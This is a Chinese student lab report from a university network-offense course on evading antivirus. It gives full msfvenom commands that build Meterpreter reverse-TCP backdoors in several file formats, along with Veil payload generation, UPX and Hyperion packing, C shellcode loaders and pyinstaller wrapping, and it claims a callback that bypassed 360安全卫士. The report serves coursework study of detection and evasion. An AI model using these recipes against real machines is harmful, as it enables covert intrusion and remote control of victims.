2019-2020-2 网络对抗技术 20175217 Exp3 免杀原理与实践

一、实验目标

  • 理解免杀的原理
  • 掌握并实践免杀的各种方法

二、实验内容

任务一:

  • 正确使用msf编码器
  • msfvenom生成如jar之类的其他文件
  • veil
  • 加壳工具
  • 使用C + shellcode编程

任务二:

  • 通过组合应用各种技术实现恶意代码免杀

任务三:

  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

三、基础知识

免杀概念

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术

免杀要求

  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验

免杀反制

  • 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础

免杀效果

  • 利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。

四、基础问题回答

杀软是如何检测出恶意代码的?

  • 基于特征码的检测

    • 一段特征码就相当于一段或多段数据,如果一个可执行文件含有这样的数据则被认为是恶意代码
    • 过时的特征码库就是没有用的库,所以杀毒软件的更新很重要,杀软要尽量搜集最全的、最新的特征码库
  • 启发式恶意软件检测
    • 就是根据些片面特征(如行为)去推断,通常是因为缺乏精确判定依据
    • 优点:可以检测0-day恶意软件、具有一定通用性
    • 缺点:实时监控系统行为,开销稍多、没有基于特征码的精确度高
  • 基于行为的恶意软件检测
    • 相当于是启发式的一种,或者是加入了行为监控的启发式

免杀是做什么?

  • 是对恶意软件做处理,让它不被杀毒软件所检测
  • 在渗透测试中也有应用

免杀的基本方法有哪些?

改变特征码

  • 加壳(压缩壳 加密壳)——如果只有exe
  • 用encode进行编码——有shellcode(像Meterpreter)
  • 基于payload重新编译生成可执行文件——有shellcode
  • 用其他语言进行重写再编译(veil-evasion)——有源代码

改变行为

  • 通讯方式

    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
  • 操作模式
    • 基于内存操作
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码

非常规方法

  • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
  • 利用Metasploit已有的payload来半手工的打造一个恶意软件
  • 纯手工打造一个恶意软件(效果最好)
  • 使用社工类攻击,诱骗目标关闭AV软件

开启杀软能绝对防止电脑中恶意代码吗?

  • 不能,本次实验即可证明,杀毒软件也会有缺陷,是不可能绝对防止电脑中的恶意代码的

五、实验任务

任务一:基本方法免杀

1.正确使用msf编码器

直接生成

  • 使用实验二中的方法,使用MSF,生成exe文件

  • 使用VirusTotal、virscan网站进行扫描

  • 由此可见不加处理的后门程序很容易被大部分杀软检测出来,因此我们尝试对其进行编码

一次编码

  • 命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.0.107 LPORT=5217 -f exe > 5217_1.exe
  • -e:选择编码器
  • -b:去除字符(在本命令中为了使‘\x00‘不出现在shellcode中,因为shellcode以‘\x00‘为结束符)

  • 使用VirusTotal、virscan网站进行扫描,结果与之前无编码基本一致,VirusTotal上57/72、virscan上24/49

十次编码

  • 命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00‘ LHOST=192.168.0.107 LPORT=5217 -f exe > 5217_2.exe
  • -i:设置迭代次数

  • 使用VirusTotal、virscan网站进行扫描,效果与之前无编码也不大,甚至更菜了,VirusTotal上57/72、virscan上26/49
  • 由此可见多次编码对免杀没有太大的效果,原因可能如下:
    • 杀软研究的是编码器本身,shikata_ga_nai的解码部分总会需要加入到exe中,这部分总会被杀软识别出来,所以效果可能更差
    • msfvenom会以固定的模板生成exe,因此会有一定的固定特征。所以杀软会针对其使用的模板来生成特征码,这样就解决所有msfvenom生成的恶意代码了。如果使用msfvenom免杀,就要使用新的模板生成exe

2.msfvenom生成如jar之类的其他文件

生成jar文件

  • 使用命令:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.228.128 lport=5217 x> wyf_jar.jar生成jar文件

  • 使用VirusTotal、virscan网站进行扫描,发现效果比之前直接生成exe文件效果好,VirusTotal上35/60、virscan上15/49

生成python文件

  • 使用命令:msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.228.128 lport=5217 x> wyf_python.py生成py文件

  • 使用VirusTotal、virscan网站进行扫描,发现效果比之前直接生成jar文件效果又好一些,效果很好,VirusTotal上25/59、virscan上3/49

  • 尝试一下回连

  • 回连成功,注意这里回连时playload要选python

生成php文件

  • 使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.228.128 LPORT=5217 x> wyf_php.php生成php文件

  • 使用VirusTotal网站进行扫描,发现效果比生成的py文件效果又有了显著提升,效果非常好,绝大部分杀软基本无法将其检测出来,VirusTotal上3/58、virscan上1/49

原因分析

  • 可能是杀软缺乏对python、php代码,尤其是php代码的检测能力
  • 但py、php文件运行起来比较麻烦,所以实操可能效果还是没那么好

3.veil

安装veil

  • sudo apt-get install veil-evasion命令安装veil

  • 安装完成后输入veil运行,然后选择y进一步安装软件
  • 出现绿色的指令界面表示安装成功

生成python文件

  • 输入use evasion命令进入Evil-Evasion界面

  • 输入list查看可用的playload

  • 选择一个可用的playload,输入use 编号,如这里选择使用python语言的python/meterpreter/rev_tc,就输入use 28

  • 设置反弹连接LHOST:set LHOST 192.168.228.128、端口LPOST:set LPORT 5217,最后输入options查看确认

  • 输入generate生成文件,接着输入你想要playload的名字

  • 查看保存路径,并将文件保存在win主机里

  • 使用VirusTotal、virscan网站进行扫描,发现效果非常好,VirusTotal上3/59、virscan上1/49

生成ruby文件

  • 方法和之前一样,又试了ruby,效果还算可以

4.加壳

基本知识

  • 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行
  • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)
  • 压缩壳
    • 减少应用体积,如ASPack,UPX
  • 加密壳
    • 版权保护,反跟踪。如ASProtect,Armadillo
  • 虚拟机
    • 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida

压缩壳UPX

  • 对刚刚的5217_2.exe用UPX加壳,输入:upx 5217_2.exe -o upx_5217_2.exe,生成UPX_5217_2.exe

  • 对该加壳软件进行检测,发现效果有所改观,但效果不明显,还是很容易被检测出来

加密壳Hyperion

  • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

进入目录/usr/share/windows-binaries/hyperion/

输入命令wine hyperion.exe -v upx_5217_2.exe hyperion_upx_5217_2.exe进行加壳

  • 效果又有了一些改善,但整体效果还是不太好

加壳小结

  • 总的来说,使用加壳软件,虽然可能改善一些效果,但似乎并不能得到很好地免杀效果
  • 这些加壳软件中包含的特征信息,有时候反而会增加杀毒软件识别的可能性

5.使用C + shellcode编程

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=5217 -f c用c语言生成一段shellcode;

  • 创建一个文件wyf_lx25t.c,然后将unsigned char buf[]赋值到其中

  • 使用命令:i686-w64-mingw32-g++ wyf_lx25t.c -o wyf_lx25t.exe编译这个.c文件为可执行文件
  • 尝试一下回连

  • 检测结果如下,效果不算很好

基本方法整体测试

  • 最后,见证奇迹的时刻,打开杀软,发现使用veil生成的、和其他语言的文件都不会被杀软查杀,但除此之外的软件都被杀掉了

基本方法免杀小结

  • 经过上述的实践,总体来说,发现基本的免杀方法整体效果不太好,但是也不乏一些比较好的方式,需要多次的尝试和验证才能探索出来
  • 原因主要基本的方法含有许多明显的特征信息,这些信息早已被现有的杀软收录,所以就很容易被查出来,而一些特殊的语言或编译方式杀软可能并没有来得及收录,所以也会有一些好的效果

任务二:通过组合应用各种技术实现恶意代码免杀

组合1——shellcode+强转

  • 同任务一的方法使用C + shellcode编程,并尝试强转数组类型

  • 成功

  • 然而,半天之后,它也没撑住,看来杀软杀毒真的是玄学

  • 但总体来说,如果要过很久才被查出来的话,它可能还是有点用的

组合2——shellcodeWrapper加工+pyinstaller打包(加壳)

  • 于是我又试了一种比较麻烦的方法
  • 用msf生成raw文件

  • 用shellcodeWrapper生成py后门文件

  • 使用pyinstaller将该python文件转为exe文件

  • 成功

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

实测:使用的是自己的win10虚拟机

杀软名称:360安全卫士

版本:12.0.0.2002

六、遇到的问题和解决

问题一:安装veil时总是报错

解决一:按照同学的说法,多装了几次,装了好久,终于装上了(就是多装几次就好了...

问题二:无法安装pyinstaller

解决二:找了各种方法各种博客,还是没解决,后来自己安了个win10虚拟机,在虚拟机里安成功了,但问题到底出在哪还是不清楚

问题三:kali的设置打不开了,它一直转圈圈

尚未解决

七、实验心得体会

? ? ? ?这次实验做的是免杀,刚开始觉得没什么难的,但真正做起来就明显感觉到,想要做到免杀还是很难的,如果想要效果好,就要精通一些软件的使用、代码的编写等,也要真正深入地理解免杀的原理。

? ? ? ?这次实验我觉得还是很难的,是参考老师的实验指导、课代表的博客和学长学姐的博客完成的,在过程中遇到的问题,也和同学们交流讨论,很多问题虽然很烦,但跟同学一讨论就感觉没有那么自闭了。

? ? ? ?这次实验虽然使我对免杀有了一定的理解,但是还是没有办法很好地做到免杀,在今后的学习过程中我也会更加努力、做的更好。

八、参考链接

原文地址:https://www.cnblogs.com/wyf20175217/p/12553799.html

时间: 2024-10-09 04:04:39

2019-2020-2 网络对抗技术 20175217 Exp3 免杀原理与实践的相关文章

2019-2020-2 20175327《网络对抗技术》Exp3 免杀原理与实践

目录 一.学习目标 二.基础知识 1.1 恶意软件检测机制 1.1.1 基于特征码的检测 1.1.2 启发式恶意软件检测 1.1.3 基于行为的恶意软件检测 三.实验步骤 1.使用msf编码器msfvenom生成后门程序 (1)正确使用msf编码器 (2)msfvenom生成如jar之类的其他文件 (2)mfsvenom生成php文件 (3)veil (4)用shellcode编程生成后门程序 (5)加壳 加密壳(Hyperion) (6)使用其他课堂未介绍方法 2.通过组合应用各种技术实现恶意

2017-2018-4 20155317《网络对抗技术》EXP3 免杀原理与实践

2017-2018-4 20155317<网络对抗技术>EXP3 免杀原理与实践 一.问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 2.实践 (1) 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 首先尝试一下自己上个实验做出的后门程序 果然是不堪一击...拿去检测一下 装上veil尝试一下结果会如何 : 温馨提示一下,刚开始我是用的自己装的64的ka

2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践

2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践 免杀 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的.AV(Anti-virus)是很大一个产业.其中主要的技术人员基本有编制恶意软件的经验. 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础. 1.杀软是如何检测出恶意代码的? 基于特征码:杀软会将恶意代码中有明显特征的一部分作为特征码,并建立起特征库,在

2018-2019-2 网络对抗技术 201652287 Exp3 免杀原理与实践

2018-2019-2 网络对抗技术 201652287 Exp3 免杀原理与实践 **免杀** - 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. - 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的.AV(Anti-virus)是很大一个产业.其中主要的技术人员基本有编制恶意软件的经验. - 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础. 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,vei

20165101刘天野 2018-2019-2《网络对抗技术》Exp3 免杀原理与实践

20165101刘天野 2018-2019-2<网络对抗技术>Exp3 免杀原理与实践 1. 实践内容 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 1.1.1 使用msf编码器 输入命令msfvenom -h可查看相关用法: 编码一次命令如下(用-e参数编码 用-b参数去除坏字符'\00'): msfvenom -p windows/meterpreter/reverse_tcp -e x8

2019-2020-2 20175215丁文韬《网络对抗技术》Exp3 免杀原理与实践

一.恶意代码检测机制和免杀原理 由于老师实验指导书中有提到了,这部分内容不加赘述,只是提及一下. 1.恶意代码检测机制 1.1 基于特征码的检测 简单来说一段特征码就是一段或多段数据.如果一个可执行文件(或其他运行的库.脚本等)包含这样的数据则被认为是恶意代码. 1.2 启发式恶意软件检测 "When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird

2019-2020-2 网络对抗技术 20175209 Exp3 免杀原理与实践

2019-2020-2 网络对抗技术 20175209 Exp3 免杀原理与实践 一.实验任务 方法 正确使用msf编码器 msfvenom生成如jar之类的其他文件 veil 加壳工具 使用C + shellcode编程 使用其他课堂未介绍方法 通过组合应用各种技术实现恶意代码免杀 (如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 二.基础问题回答 杀软是如何检测出恶意代码的 基于

2019-2020-2 20175226王鹏雲《网络对抗技术》Exp3 免杀原理与实践

2019-2020-2 20175226王鹏雲<网络对抗技术>Exp3 免杀原理与实践 实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具.使用C + shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技巧 2.通过组合应用各种技术实现恶意代码免杀 (如果成功实现了免杀的,简单语言描述原理,不要截图.与杀软共生的结果验证要截图.) 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明

2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践

2019-2020-2 20175334罗昕锐<网络对抗技术>Exp3 免杀原理与实践 1 实践说明 1.1实践内容 (1)正确使用msf编码器 (2)veil (3)加壳工具 (4)使用C + shellcode编程 (5)使用其他课堂未介绍方法 -(6)通过组合应用各种技术实现恶意代码免杀并用另一电脑实测,在杀软开启的情况下,可运行并回连成功 1.2基础知识 1.2.1免杀 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术 要做好免杀,就时清楚杀毒软件(恶意软